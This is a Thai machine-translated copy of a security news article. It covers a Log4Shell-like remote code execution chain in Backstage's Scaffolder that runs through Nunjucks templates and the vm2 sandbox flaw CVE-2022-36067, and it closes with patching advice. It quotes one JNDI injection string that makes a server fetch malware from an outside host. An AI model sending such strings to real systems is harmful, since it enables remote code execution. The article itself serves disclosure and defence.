ช่องโหว่การเรียกใช้โค้ดที่คล้ายกับ Log4Shell ในเครื่องมือพัฒนา Backstage ยอดนิยม PlatoBlockchain Data Intelligence ค้นหาแนวตั้ง AI.

ช่องโหว่การเรียกใช้โค้ดที่เหมือน Log4Shell ในเครื่องมือ Backstage dev ยอดนิยม

นักวิจัยจากบริษัทรักษาความปลอดภัยการเข้ารหัสบนคลาวด์ Oxeye ได้เขียนข้อผิดพลาดร้ายแรงที่พวกเขาเพิ่งค้นพบในชุดเครื่องมือพัฒนาคลาวด์ยอดนิยม Backstage

ของพวกเขา รายงาน รวมถึงคำอธิบายวิธีการทำงานของข้อบกพร่อง รวมถึงรหัสพิสูจน์แนวคิด (PoC) ที่แสดงวิธีใช้ประโยชน์จากข้อบกพร่อง

Backstage คือสิ่งที่เรียกว่าพอร์ทัลนักพัฒนาระบบคลาวด์ ซึ่งเป็นแบ็คเอนด์ตรรกะทางธุรกิจประเภทหนึ่งที่ทำให้ง่ายต่อการสร้าง API บนเว็บ (อินเทอร์เฟซการเขียนโปรแกรมแอปพลิเคชัน) เพื่อให้ผู้เขียนโค้ดทั้งภายในและภายนอกธุรกิจของคุณสามารถโต้ตอบกับบริการออนไลน์ของคุณได้

ในคำพูดของโปรเจกต์นั้น เดิมทีสร้างขึ้นที่ Spotify แต่ตอนนี้ โอเพนซอร์ส บน GutHub:

Backstage เป็นแพลตฟอร์มเปิดสำหรับสร้างพอร์ทัลสำหรับนักพัฒนา ขับเคลื่อนโดยแคตตาล็อกซอฟต์แวร์ส่วนกลาง Backstage เรียกคืนคำสั่งไปยังไมโครเซอร์วิสและโครงสร้างพื้นฐานของคุณ และช่วยให้ทีมผลิตภัณฑ์ของคุณสามารถจัดส่งโค้ดคุณภาพสูงได้อย่างรวดเร็ว โดยไม่สูญเสียความเป็นอิสระ

Backstage รวมเครื่องมือโครงสร้างพื้นฐาน บริการ และเอกสารทั้งหมดของคุณเข้าด้วยกันเพื่อสร้างสภาพแวดล้อมการพัฒนาที่มีประสิทธิภาพตั้งแต่ต้นจนจบ

ไม่ เราไม่รู้ความหมายที่แท้จริงเช่นกัน แต่เรารู้ว่าชุดเครื่องมือเขียนด้วย JavaScript ทำงานโดยใช้ระบบ JavaScript ฝั่งเซิร์ฟเวอร์ node.jsและดึงเว็บของการพึ่งพาห่วงโซ่อุปทานจากระบบนิเวศ NPM

NPM ย่อมาจาก ตัวจัดการแพ็คเกจโหนดซึ่งเป็นชุดเครื่องมืออัตโนมัติเพื่อให้แน่ใจว่าโค้ด JavaScript ส่วนหลังของคุณสามารถใช้ไลบรารีโอเพ่นซอร์สที่หลากหลายซึ่งมีเครื่องมือช่วยเหลือยอดนิยมที่เขียนไว้ล่วงหน้าสำหรับทุกอย่างตั้งแต่การเข้ารหัสและการจัดการฐานข้อมูลไปจนถึงการบันทึกและการควบคุมเวอร์ชัน

การเรียกใช้รหัสระยะไกล

น่าเสียดายที่ข้อบกพร่องที่เปิดเผยในวันนี้ หากไม่ได้แก้ไข อาจทำให้บุคคลภายนอกที่ไม่ผ่านการตรวจสอบสิทธิ์ (ใครก็ตามที่สามารถสร้างการเชื่อมต่อ API กับเซิร์ฟเวอร์ของคุณได้อย่างหลวมๆ) มีวิธีเรียกใช้งานโค้ดจากระยะไกล (RCE) ภายในเซิร์ฟเวอร์ลอจิกธุรกิจบนเครือข่ายของคุณ

อย่างไรก็ตาม โชคดีที่หากเราตีความการเขียนของ Oxeye ได้อย่างถูกต้อง การโจมตีที่พวกเขาอธิบายสำหรับ Backstage RCE จะขึ้นอยู่กับลำดับของข้อบกพร่องในการเขียนโค้ดซึ่งสุดท้ายแล้วขึ้นอยู่กับข้อบกพร่องเฉพาะที่กำหนด CVE-2022-36067 ในส่วนประกอบของซัพพลายเชนที่ Backstage อาศัยเรียกว่า vm2

ในกรณีที่คุณสงสัย vm2 เป็นโมดูล NPM ที่ใช้งานทั่วไปซึ่งติดตั้ง “แซนด์บ็อกซ์เครื่องเสมือน” ซึ่งมีจุดมุ่งหมายเพื่อทำให้ JavaScript ที่มีความเสี่ยงอาจทำงานบนเซิร์ฟเวอร์ของคุณปลอดภัยขึ้นเล็กน้อย

บั๊ก CVE-2022-36067 นั้นใน vm2 คือ รายงาน ย้อนกลับไปในเดือนสิงหาคม 2022 โดย Oxeye เอง (ซึ่งตั้งชื่อที่เป็นมิตรกับสื่อประชาสัมพันธ์ว่า “Sandbreak” เพราะมันแตกออกจากแซนด์บ็อกซ์) และ แก้ไขทันที โดยทีมงาน vm2 เมื่อเกือบสามเดือนที่แล้ว

เท่าที่เราเห็น หากคุณเป็นผู้ใช้ Backstage คุณจะต้องแน่ใจว่าคุณได้แพตช์องค์ประกอบที่มีความเสี่ยงทั้งหมดในการตั้งค่า Backstage...

…แต่หากคุณแพตช์คอมโพเนนต์ vm2 ที่เสี่ยงต่อ Sandbreak เมื่อหลายเดือนก่อน ดูเหมือนว่าคุณจะไม่เสี่ยงโดยตรงต่อการเจาะช่องโหว่ที่อธิบายในการเปิดเผยล่าสุดของ Oxeye

นอกจากนี้ หากเซิร์ฟเวอร์ Backstage ของคุณได้รับการกำหนดค่าตามคำแนะนำด้านความปลอดภัยทางไซเบอร์ที่ดี โดยต้องมีการรับรองความถูกต้องทั้งที่ขอบเครือข่ายและภายในเครือข่าย คุณจะไม่ต้องเสี่ยงกับการสุ่มตรวจ "สำหรับวัตถุประสงค์ของนักวิจัยเท่านั้น" จากบุคคลที่ "เป็นประโยชน์" ที่กำหนด เพื่อแสดงว่าพวกเขาสนใจใน "การวิจัย" ของภัยคุกคามทางไซเบอร์

การโจมตีของ "Emmenthal ชีส"

พูดง่าย ๆ ก็คือ ปัญหาด้านความปลอดภัยที่เพิ่งเปิดเผยนั้นเป็นผลข้างเคียงของปัญหาด้านความปลอดภัยหลาย ๆ อย่าง เช่น รูในชีส Emmenthal ที่อาจแทรกซึมเป็นลำดับ หากผู้โจมตีสามารถจัดเรียงอย่างน้อยหนึ่งรูในแต่ละชิ้น

ตามที่เราเข้าใจ Backstage มีคอมโพเนนต์ที่เรียกว่า Scaffolder ซึ่งตามชื่อที่แนะนำ ช่วยให้คุณจัดการส่วนเสริมต่างๆ (เรียกว่าปลั๊กอิน) ที่ชุมชนนักพัฒนาซอฟต์แวร์ของคุณอาจต้องการหรือจำเป็น

ในทางกลับกัน Scaffolder ใช้ระบบบันทึกข้อความจาก Mozilla ที่รู้จักกันในชื่อ Nunjucks ซึ่งรวมถึงสิ่งที่เรียกว่า เทมเพลตสตริง in node.js วงกลมเช่น การแก้ไขสตริง ในโลก Java และเป็น การแทนที่สตริง สำหรับผู้ดูแลระบบที่ใช้เชลล์คำสั่งเช่น Bash

หากการแก้ไขสตริงส่งเสียงระฆัง อาจเป็นเพราะมันอยู่ที่หัวใจของ Log4Shell ช่องโหว่ย้อนกลับไปในเดือนธันวาคม 2021 และของ Follina บั๊กในช่วงกลางปี ​​2022

เป็นที่ที่คุณจะได้เขียนเนื้อหาของข้อความบันทึกใหม่ตาม "อักขระการเข้ารหัส" พิเศษในเทมเพลตสตริง เพื่อให้สตริงเช่น $USER อาจถูกแทนที่ด้วยชื่อบัญชีที่เซิร์ฟเวอร์ใช้ หรือ ${PID} อาจดึง ID กระบวนการปัจจุบัน

ในกรณีสุดโต่งของ Log4Shell คาถาที่ดูอยากรู้อยากเห็น ${jndi:ldap://example.com:8888/malware} สามารถหลอกให้เซิร์ฟเวอร์ดาวน์โหลดโปรแกรมที่เรียกได้โดยตรง malware ราคาเริ่มต้นที่ example.com และเรียกใช้อย่างเงียบ ๆ ในพื้นหลัง

กล่าวอีกนัยหนึ่ง คุณต้องแน่ใจว่าข้อมูลที่มาจากแหล่งที่ไม่น่าเชื่อถือ เช่น ผู้ใช้ภายนอก จะไม่ถูกส่งผ่านแบบสุ่มสี่สุ่มห้าไปยังฟังก์ชันการสร้างเทมเพลตสตริงหรือการแก้ไขสตริงที่จะใช้ เป็นข้อความเทมเพลตเอง.

ตัวอย่างเช่น หากผู้ใช้ระยะไกลพยายามหลอกลวงเซิร์ฟเวอร์ของคุณโดยระบุชื่อผู้ใช้เป็น ${{RISKY}} (สมมติว่าไลบรารีเทมเพลตใช้ ${{...}} เป็นเครื่องหมายพิเศษ) คุณต้องแน่ใจว่ารหัสบันทึกของคุณจะบันทึกข้อความที่ดูซุกซนนั้นอย่างถูกต้องตามที่ได้รับมา...

…แทนที่จะปล่อยให้ข้อความที่บันทึกเข้าควบคุมฟังก์ชันการบันทึกเอง!

ในคำพูดของเพลงกล่อมเด็กเก่าๆ คุณต้องมั่นใจว่าคุณจะไม่ร้องเพลงจบ ${{BUCKET}}ลิซ่าที่รัก ลิซ่าที่รัก มีช่องโหว่ในตัวฉัน ${{BUCKET}}ลิซ่าที่รัก หลุม!”

ห่อด้วยผ้าห่มนิรภัย

พูดตามตรง ฟังก์ชันการสร้างเทมเพลต/การแก้ไขที่ทรงพลังเกินไปของ Nunjucks นั้นถูกรวมไว้โดย Backstage ภายในส่วนประกอบของซัพพลายเชนอีกชิ้นหนึ่ง นั่นคือระบบแซนด์บ็อกซ์ vm2 ที่กล่าวถึงข้างต้น ซึ่งควรจะจำกัดอันตรายที่ผู้ใช้ที่ประสงค์ร้ายอาจทำกับ booby ข้อมูลอินพุตดัก

โชคไม่ดีที่นักวิจัยของ Oxeye สามารถจับคู่เส้นทางการเรียกใช้โค้ดที่สร้างเทมเพลตสตริงที่ค้นพบใหม่ใน Backstage + Scaffolder + Nunjucks กับช่องโหว่ CVE-2022-36067 ที่เก่ากว่าใน wrapper ความปลอดภัย vm2 เพื่อให้สามารถดำเนินการโค้ดจากระยะไกลบนเซิร์ฟเวอร์ Backstage ได้ .

จะทำอย่างไร?

หากคุณเป็นผู้ใช้ Backstage:

  • ตรวจสอบให้แน่ใจว่าคุณมี Backstage เวอร์ชันล่าสุดและการอ้างอิง ได้แก่ plugin-scaffolder-backend ส่วนประกอบ. จากข้อมูลของ Oxeye ข้อบกพร่องที่เกี่ยวข้องในโค้ด Backstage ได้รับการแก้ไขภายในวันที่ 01 กันยายน 2022 ดังนั้นการเผยแพร่จุดอย่างเป็นทางการหลังจากข้อมูลนั้นควรรวมการแก้ไขไว้ด้วย ในขณะที่เขียน [2022-11-1T16:00Z] ซึ่งรวมถึง Backstage 1.6.0, 1.7.0 และ 1.8.0ออกวันที่ 2022-09-21, 2022-10-18 และ 2022-11-15 ตามลำดับ
  • ตรวจสอบว่าการติดตั้ง Backstage ของคุณมีการกำหนดค่าการรับรองความถูกต้องตามที่คุณคาดไว้ Oxeye อ้างว่าการรับรองความถูกต้องถูกปิดโดยค่าเริ่มต้น และหลังจากทำตาม แนวทางหลังเวทีเซิร์ฟเวอร์แบ็กเอนด์ (ซึ่งอาจไม่ควรถูกเปิดเผยจากภายนอก) ยังคงอนุญาตให้เข้าถึงโดยไม่ได้รับอนุญาต นั่นอาจเป็นสิ่งที่คุณต้องการ แต่เราขอแนะนำให้ใช้ปัญหานี้เป็นเหตุผลในการตรวจสอบว่าการตั้งค่าของคุณตรงกับความตั้งใจของคุณหรือไม่
  • ตรวจสอบว่าส่วนใดของโครงสร้างพื้นฐาน Backstage ที่สามารถเข้าถึงได้จากอินเทอร์เน็ต อีกครั้ง ให้ใช้ปัญหานี้เป็นเหตุผลในการสแกนเครือข่ายของคุณเองจากภายนอก หากคุณยังไม่ได้ดำเนินการเมื่อเร็วๆ นี้

หากคุณเป็นผู้ใช้ node.js/NPM:

  • ตรวจสอบให้แน่ใจว่าคุณมีคอมโพเนนต์ vm2 sandbox เวอร์ชันล่าสุด คุณอาจติดตั้งซอฟต์แวร์นี้โดยพึ่งพาซอฟต์แวร์อื่นที่คุณใช้ แม้ว่าคุณจะไม่มี Backstage ก็ตาม ช่องโหว่ CVE-2022-36067 ได้รับการแก้ไขเมื่อวันที่ 2022-08-28 ดังนั้นคุณต้องการเวอร์ชัน vm2 3.9.11 หรือหลังจากนั้น

หากคุณเป็นโปรแกรมเมอร์:

  • ป้องกันให้มากที่สุดเมื่อเรียกใช้ฟังก์ชันการบันทึกที่ทรงพลัง หากคุณใช้บริการบันทึก (รวมถึง Nunjucks หรือ Log4J) ที่มีคุณลักษณะเทมเพลต/การแก้ไขที่มีประสิทธิภาพ ให้ปิดคุณลักษณะใดๆ ที่คุณไม่ต้องการ เพื่อไม่ให้ถูกนำไปใช้โดยไม่ได้ตั้งใจ ตรวจสอบให้แน่ใจว่าอินพุตที่ไม่น่าเชื่อถือนั้นไม่เคยถูกใช้เป็นเทมเพลต ดังนั้นจึงเป็นการป้องกันไม่ให้ผู้โจมตีใช้สตริงอินพุตที่อันตรายโดยตรงของตนเอง
  • โดยไม่คำนึงถึงข้อควรระวังอื่นใด ให้ฆ่าเชื้ออินพุตและเอาต์พุตการบันทึกของคุณ โปรดจำไว้ว่าจะต้องมีคนอื่นเปิดไฟล์บันทึกของคุณในอนาคต ไม่อนุญาตให้ booby-traps ที่ไม่ได้ตั้งใจเขียนลงในไฟล์บันทึกของคุณ ซึ่งอาจทำให้เกิดปัญหาในภายหลัง เช่น ชิ้นส่วน HTML ที่มีแท็กสคริปต์หลงเหลืออยู่ (อาจมีคนเปิดไฟล์ในเบราว์เซอร์โดยไม่ตั้งใจ)

แม้ว่าคุณจะได้รับข้อมูลจากแหล่งที่เชื่อถือได้ แต่ก็แทบไม่มีเหตุผลใดที่จะไม่ตรวจสอบการฆ่าเชื้อด้วยตัวคุณเองก่อนใช้งาน

(บางครั้งคุณอาจให้เหตุผลแก่ข้อยกเว้น เช่น เหตุผลด้านประสิทธิภาพ แต่ควรเป็นข้อยกเว้น ไม่ใช่กฎ)

ประการแรก การตรวจสอบอีกครั้งช่วยให้คุณพบข้อผิดพลาดที่ผู้เขียนโค้ดก่อนหน้านี้อาจทำโดยสุจริต ประการที่สอง ช่วยจำกัดการแพร่กระจายของข้อมูลที่ไม่ดีหรือข้อมูลที่ถูกดักจับหากส่วนอื่น ๆ ของระบบนิเวศของคุณถูกบุกรุก

สิ่งที่เกี่ยวกับชีส Emmenthal ที่เราพูดถึงก่อนหน้านี้ก็คือ แม้ว่าพวกมันจะซึมผ่านได้หากมีรูอย่างน้อยหนึ่งรูเรียงกันในแต่ละแผ่น...

…ไม่สามารถซึมผ่านได้หากมีอย่างน้อยหนึ่งแผ่นที่มีรูไม่เรียงกัน!


ประทับเวลา:

เพิ่มเติมจาก ความปลอดภัยเปล่า